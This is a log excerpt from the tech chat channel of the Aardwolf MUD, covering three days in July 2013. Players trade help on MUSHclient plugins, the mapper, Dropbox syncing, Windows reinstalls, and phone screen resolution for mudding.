T3/r7/2013-07-27.txt.gz:{chan ch=tech}Leinei Tech: If people actually read help botting, it specifically addresses them.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: because lasher said so
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: that was my next option
T3/r7/2013-07-27.txt.gz:{chan ch=tech}BeitWritt Mencheres Tech: thanks guys definitely do not want to get into trouble, figured out the double communicaton window
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Cosrin Tech: to be honest I don't think auto-quaffing potion triggers is botting...
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: who's doing what now?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh. you know I have instructions for setting up multiple comm windows
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Flach Tech: By themself, they are not.  But there's a fine line that is VERY easily crossed, and is specifically addressed.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Flach Tech: And even if that fine line is not intentionally crossed, it is still the fault of the player if it happens.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Cosrin Tech: I agree. Triggers are not to be taken lightly. It is better to use aliases and the like.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: (even though PKers can't quaff in combat, seems some are so desperate to kill newbies, they don't want them to auto-quaff between combat)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Cosrin Tech: I try to avoid anythig that spams as well. Triggers that spam are just annoying to other players.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: that is a "new one" - next you be telling magic-casters to avoid multicast spells (to reduce the spam)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Cosrin Tech: Some spam is certainly unavoidable. But make sure you don't spam what IS avoidable. is what I was trying to say.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: in PK in other muds, spamming the other player's screen is a legitimate tactic -- unsure about here, (and not concerned as i'm NoPk)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: so us pk magic-casters are going to pup up Int so that attack spells multicast you warriors and thieves into oblivion - xchan
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: (but computers are so fast these days, that spam-screen-tactic only works on those with slow computers and clumsy defective badly-coded screen-filter-display scripts, but a PK-kill is a PK-kill and pads the PK-kill counter :)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: Fiendish, are there any button array screens in aardMushclient available 
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define button array screens?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: rectangular array of small buttons, say 7 or 8 columns by 30 to 50 rows -- (this is readily possible in Zmud - the default buttons must be resized down, but they copy down-sized)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 8x50 is a crapload of buttons
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: the user mouse right-clicks to change what the button does or displays, mouse left-clicks to activate the command or alias in te button
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I never made anything like that, but maybe someone else did
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: there are a lot of spells as a magic-caster -- and i put a lot of them into a separate button
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: i mostly button-click to play this game - and use a few one-letter attack-aliases 
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's fair. I know there is this...  http://www.gammon.com.au/forum/?id=9359
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: Zmud handles a Button array automatically -- be nice if this were possible in MushClient (without hard-coding a Button-Array plugin from scratch)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: Although hard-coding a Button-Array plugin from scratch may permit far more options (than the zMud version), where the buttons auto-switch in function and display according to the play-battle-etcetera-state
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Zade Tech: the thing is to code the buttons to they process efficiently without lag
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my general experience with mushclient vs zmud is that zmud does a lot of simple obvious things easily, but can't be customized at all, whereas mushclient allows you complete flexibility at the expense of a lot of effort
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I'd amend the statement to a lot of /initial/ effort, but the code reuse in Lua vs zScript makes it overall quicker.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm. maybe.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if I'd put effort into making anything reusable up front
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which I didn't. OH THAT'S WHAT I WAS WORKING ON
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: IMO, once you get Lua/MC initially set up and running how you like it, modifications to the setup become ... easier.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I just remembered the project I was working on a few months ago. I was going to rewrite the communication log plugin to use a generic text object
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: TBH, wondered a few times why it wasn't in the aard MC setup :P
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I should add temporary areas to the mapper first and then get back to that
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: lots of things aren't in the aard MC setup because it's a hobby project and with very few exceptions nobody ever seems to want to contribute useful code to me
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Did you ever add the close db connection on session close Fiend? Still having issues running simultaneous instances from dropbox.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes I did!
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wonder if I snapshotted before or after. one second
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Wonder if it's the timeout on dropbox's end
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Since all sync requests in dropbox aren't instanct.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: instant*
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's not in the last snapshot download :\
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'll make a new one
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: unless you want to just checkout from the trunk
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I wasn't too concerned, I just know last time I upgraded had to manually hack it back in :P
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Link on google code page?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://code.google.com/p/aardwolfclientpackage/source/checkout
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Appreciate it.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it looks like the db close code is in the snapshot, but it will probably error because I didn't add disabling of the backups while closed until later
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It'll still error anyways, from my experience.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the trunk shouldn't error
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I can get MC to quit whining about not being able to access the file, but I can't yet prevent Dropbox from generating "<Comp name> conflicted copy" of files.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, well I have no control over dropbox
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I am closing the file handle (I think)
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Since even if I connect from home, and have work version still running, the delay between when I log in and try and run it from home, to when dropbox actually tells the client i've disconnected, I still have conflicts. Nothing really anyone but dropbox can do in that regard, though
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nods, the D/C code on session get's rid of all the errors you/we can handle.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have toyed with the idea of not writing any changes out immediately and going to a batch write model
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: More chance of chunked data loss when being used incorrectly by your users, that way.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: naturally
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: No offense, but end-users are generally stupid, and will use it wrong :P
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Better to protect them than field their screw ups :P
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: people don't tend to complain about the mapper performance, except in the scenario where they run a long search which locks up the ui
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: one more thing on the eventual todo list is to throw searches into a coroutine
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Speaking of which, did you include a CLI way to change the search recursion?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Vias Tech: can I enable MCCP on BBSSH
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you mean the number of steps until it deadends?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: nods.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yes, Vias, if you SSH into a computer running a MCCP enabled client.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: For example, you can use BBSSH to SSH into a box running tintin++ or tinyfugue, and utilize their already-existing MCCP capacities.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not as easy with a non-CLI client like Mushclient, though.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Vias Tech: sorry but I didn't get half of what you said
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I never did, because I don't really think search paths should ever be limited by length. There is quicklist mode which doesn't pathfind all search results up front, though. Pathfinding a single destination should never take THAT long. It's just when you stack up 50 destinations in a row that results take a long time to return.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, I also removed that blockage in your code :P
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what, 50 results?
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: if I searched for 'kitchen' i wanted all of them to spam my screen, not tell me it's too vague :P
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's insane to visually sort hundreds of lines
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: submit a patch to make that configurable though and I'll add it as long as it's set by default
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Sure, might have some time tomorrow to clean it up. Then I'll submit it through.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I just added a noshow option to the mapper find command.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So mapper find kitchen noshow would disable the "do not show" flag I added.
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Which is fine and dandy until a room name contains the string "noshow"
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'd rather it be a configuration option that is set once than yet another parameter on search
T3/r7/2013-07-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: command width makes formatting the help harder
T3/r7/2013-07-27.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nods, I didn't see the need to modify your code more than needed, so I just went with the one-off option
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ranrr Tech: It's sad when you realize how much computer accessories you have that you never use... or sometimes haven't even taken out of their package. I have boxes full.
T3/r7/2013-07-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't buy things I'm not going to use
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ranrr Tech: I intend to use it when I buy it. But... well, then I don't :D
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ranrr Tech: Maybe that's just me.
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ranrr Tech: Does USB 2.0 devices work in a USB 3 HUB? Any issues I should be aware of?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Tymas Tech: How do you add using setvariable?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: i'm trying out the aardwolf mushclient, how can I disable the windows I don't want to be there?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-shift-p and remove plugins that create them
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: thanks, that worked :0
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: is there a way with the aardwolf mush client to make the communications only go to the comm log window but not to the main?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Leinei Tech: right-click in the comm window
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Leinei Tech: there's a thing to choose what gets echoed to the main window
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: oh yes, this client rules
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: ty
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: okay one more mushclient question, is there a way to make the command line maintain the current command input after a carriage return?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://tinyurl.com/aardclientfaq
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ehrsul Tech: nice faq!
T3/r7/2013-07-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: thanks
T3/r7/2013-07-28.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this is pretty cool https://github.com/jehna/VerbalExpressions/wiki
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Book of Etzli Tech: That's actually pretty freakin' awesome, really.
T3/r7/2013-07-28.txt.gz:{chan ch=tech}ElFeneri Tech: can you set an expire time on imgur when you upload a picture?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know of any decent programs to get rid of bloatware on a new computer, where you dont have to do it all by hand?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Fresh install and then add drivers afterwards?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: I think there was something called.. decrapify? My memory fails me. Personally, I'd just take a regular windows install disk, blow it out, and add drivers as needed.
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Windows update is quite good at picking them up for you.
T3/r7/2013-07-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thanks
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: Fresh installs always the best, I think. I think thats one of the reasons Apples running windows have some of the fewest amount of problems... its always a clean install
T3/r7/2013-07-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i just never have the disks to do fresh installs
T3/r7/2013-07-28.txt.gz:{chan ch=tech}ElFeneri Tech: is it possible to take any disk and use the key you have?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: If its the right version of windows, yeah.
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Cadriel Tech: You can download any OS image online as long as you have legit keys
T3/r7/2013-07-28.txt.gz:{chan ch=tech}ElFeneri Tech: alright
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: If its an xp pro key, xp pro disk.... etc
T3/r7/2013-07-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i like to lose the keys lol
T3/r7/2013-07-28.txt.gz:{chan ch=tech}ElFeneri Tech: so the keys are not connected to a specific disc then
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Cadriel Tech: Dont get into 3d modeling. lol
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: Nope, Elf
T3/r7/2013-07-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: lol my poor linux machine cant handle 3d modeling
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: You might run in to some issues trying to use say, xp pro key with an xp home disc, and i'm not sure how w8 enters in to that with different versions, or if its a universal installer... but some of the os discs are identical, and aren't assigned a level till you enter a key of that level
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Cadriel Tech: Yep, especially because of windows anytime upgrade. os versions are almost totally complete as it is, and just has functionality disabled
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: sometimes run in to issues with OEM keys and regular MS discs... but I don't think thats been a problem since Vista
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Really, I use PCDecrapifier. Free program. *shrug*
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Daloran Tech: Anyone have any suggestions on a laptop similar to the X230 - but with a higher resolution screen?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Aterius Tech: I'm using the android client and when I try to use the button overlays it only scrolls up and down ...thoughts?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Dreckis Tech: For Mush mapper, from recall in Aylor. Why would rt work to a path but not xtr? Is there a way I can reset the xrt?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Tynrael Tech: xrt can't run to places you haven't put into your mapper, after you regular run there it will have a place to go to
T3/r7/2013-07-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: likely a customoe exit that the rt uses but you havent programmed it into the mapper
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Dreckis Tech: so i have to manually run there? because I'm pretty sure I've never manually been to most of the places it lets me go already
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Tynrael Tech: you can just regular rt there 
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Garthis Tech: hrm running to ruins of diamond reach never updates for me and i rt there instead but cant xrt
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Tynrael Tech: and like Remarto said there are a few areas that require you to sleep or dance or something so you want to setup a custom exit to do that stuff
T3/r7/2013-07-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: type speedwalk <wherever it is your going> see if it has a custom exit to get there
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Dreckis Tech: areas like fantasy fields is an example, it has no special command but xrt still don't work
T3/r7/2013-07-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes it does
T3/r7/2013-07-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: Fantasy Fields                  run 2s8e3n2en3e;sleep
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Tynrael Tech: fantasy fields requires you to sleep to get in, so its one of those cexit particular ones we mentioned
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Dreckis Tech: ahhh, so how would i make the xrt add sleep to make it work?
T3/r7/2013-07-28.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: anyone familiar with phpbb?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is there anything cooler than WinDirStat? I vote no.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: From the name, I would say yes.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: everything put out by russinovich :-)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: i am having a problem with MUSH client on windows 8. can anyone advise me??
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Windows RT or Windows 8
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Gaelehad Tech: Zadek from the Aardwolf site click on the screenshot then the Aardwolf client download  link then the red link they show
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: windows 8 I believe
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Gaelehad Tech: oh wait i haven't tried it on win8... not that brave yet
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Is it on a surface tablet or ASUS tablet etc?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: I could not download the MUSH client and get it to work.  Which one should i use
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: it is a gateway laptop
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Umbra Eutychus Tech: What's the error that's coming up?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: i can't get it to load and make an app 
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: however the mush version from garmin does load
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: it doesn't "make an app", it's just a zipfile to extract
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: inside the extracted folder is the app
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: ah ok. so which file should i download??
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: i think i got confused
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: www.aardwolf.com, click the screenshot, click download client
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: brb going to try that
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: ok i think it is working
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: oh i like this client   :)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: nod, Fiendish has done a great job with it :-)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: pretty and easy to use
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: dang you guys have it going on in this mud  :)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: next step is to "finger bast" and go to his website...click the wiki there to look at all the plugins he's made to add onto the aard MUSHclient package
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Zadek Tech: finger bast.    sounds interesting.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: finger is an old unix command to see information about a user, whether they're logged in or not
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: MUDs adapted the command for players
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Still not quite as old as the innuendo though, so chicken and the egg :P
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: the command was made without any thoughts of innuendo...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I bet the original finger coders giggled a little when they named it...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you'd bet wrong :P
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Have you asked them?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: they've been pretty outspoken on the very subject
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: samsung galaxy note s4 better to mud at, compared to samsung galaxy s4?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ayasinda Tech: bigger screen is always better imo
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: same resolution tho isn't it?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: will check
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: btw note s4? i think you mean note 2? in which case s4 has higher resolution, 1080p vs 720p
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: thanks guala
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: so the one with higher resolution is preferable?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: depends on how it looks to you, really
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: it has potential to display more info on it... tho i have no idea if it will be too small to mud on practically
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Higher resolution is always better :D
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: do we have any experienced mobile phone mudders here?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: however 4.8inch vs 5.3inch difference is small enough i think 1080p would be better
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: higher resolution means it can show more stuff, but the question is whether YOU can read it (not quite the same as whether it's legible)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: higher resolution isn't always better
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: well you can always "downscale" with higher resolution:p
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you can't always downscale well with LCDs, though...they have to "fit"
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: even displaying text bigger it will be crisper and 4,8 is not that big difference from 5.3 i think.... but that's just my opinion:P
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: taking desktop monitors as a more-obvious example, when you change resolutions, you can see that some downscaled resolutions look horrible
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: with mobiles/tablets, you don't change the screen's resolution, it'll always be in "native" resolution, so you'd just be changing font sizes
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: nods that's why i said "downscale" instead of downscale:p
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: (sorry, by tablets  for this I'm leaving out W8 tablets and going more the galaxy/ipad/etc)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: bigger font might be better worded:d
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: That's true for monitors too, you only use them at their supported resolutions.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: not true
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: You can use them at other resolutions, but why should you, it typically looks like crap.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you don't change the pixels on LCDs like you could with CRTs, which is why they will look good at native and a couple other resolutions
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: black borders ftw:p
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: well, other than for games/programs with resolution limitations, there's no real benefit to black borders...it's not helping visibility
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: but I've had a number of clients which like their monitors set to lower than native resolution, provided it's one that "fits" rather than a crappy looking one
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Are they running some old applications that don't scale then?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: much better to lower the resolution than to change the OS and every program you run to zoom in/increase fontsizes
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Coot lil Guala Tech: i know:P black borders for playing some games competattive at 4:3 ratio is one of the very few uses i have for it
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: they just don't see as well as you
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: My OS can scale things to fit the resolution I use.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: not well, not completely, and not easily
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Mushambo Tech: Can anyone with large head/ears recommend a decent pair of on/over-ear headphones $20-40 ? 
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Creative aurvana live are quite nice.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Actually, abe, my OS can scroll the whole desktop with a keypress, that's pretty simple.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I mean zoom
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: right, any OS can zoom the whole desktop. Unfortnately, that is not very useful for the majority of use, hence my point
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: Users (and especially users who don't see so well) don't usually want to have to keep scrolling to access their system
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: which is why changing resolution is a much better solution for them than zooming
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: Anyone knows how many meg a cellphone takes from lvling 8 hours on phone?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: depends on too much...but the same meg as a computer
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Alucard Tech: nod, how much does a computer take when you level 8 hours?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: variables are your brief setting, your damage setting, your "help spamreduce" settings, how many different rooms you go into, are you in a group, etc
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: even whether or not you have colors turned on changes how much data
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: MUDding is not a big traffic activity
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: To make zooming useful, you have to resize the desktop to fit the zoom level, otherwise you have to keep scrolling to find stuff.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Grissom Tech: shouldnt typing mccp help?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: if you're resizing the desktop to fit the zoom level, then you're just changing resolution...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: typing mccp never helps, using mccp helps ;-)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: typing mccp just tells you whether or not you're using it and what your current ratio is
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Grissom Tech: ah i see
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: No, resolution is a hardware setting, zooming is a software setting. Anyway, nobody cares :D
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: resolution is both a hardware and a software setting...your current attempt at the term "zoom" is resolution
